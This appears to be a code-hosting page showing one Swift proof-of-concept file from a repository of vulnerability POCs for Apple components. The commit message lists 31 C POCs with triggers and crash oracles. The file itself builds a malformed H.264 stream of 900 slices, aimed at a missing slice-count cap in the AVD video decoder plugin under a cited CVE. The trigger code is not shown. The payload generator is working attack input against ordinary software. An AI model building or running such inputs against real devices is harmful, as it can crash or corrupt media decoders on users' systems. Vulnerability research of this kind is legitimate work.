JBJF
7949c7ce9f
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
52 lines
2.1 KiB
Swift
52 lines
2.1 KiB
Swift
// vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416
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// AVC slice count cap missing
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import Foundation
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// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
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enum B {
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static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
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static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
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static func be32(_ v: UInt32) -> [UInt8] {
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[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
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}
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static func le32(_ v: UInt32) -> [UInt8] {
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[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
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}
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static func be64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
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}
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static func le64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
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}
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static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
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static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
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static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
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}
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// ── seed construction (from Cinder27 Sources: VideoPayload) ──
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enum VideoPayload {
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static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data {
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var out = Data()
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out.append(contentsOf: [0, 0, 0, 1])
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// SPS
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var sps: [UInt8] = [0x67, 0x42, 0x00, 0x1E]
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// exp-golomb: seq_parameter_set_id=0, log2_max_frame_num=0, poc_type=0, ...
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sps += [0xE8, 0x38, 0x00]
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// fake but structurally plausible; the decoder's own error tells us how far it got
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sps += [UInt8](repeating: 0x00, count: 8)
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out.append(contentsOf: sps)
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out.append(contentsOf: [0, 0, 0, 1])
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out.append(contentsOf: [0x68, 0xCE, 0x38, 0x80]) // PPS
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for i in 0..<sliceCount {
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out.append(contentsOf: [0, 0, 0, 1])
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let header: [UInt8] = [0x65, UInt8(0x88 | (i & 0x03)), 0x84, 0x00]
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out.append(contentsOf: header)
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out.append(contentsOf: [UInt8](repeating: 0x00, count: 4))
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}
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return out
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}
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}
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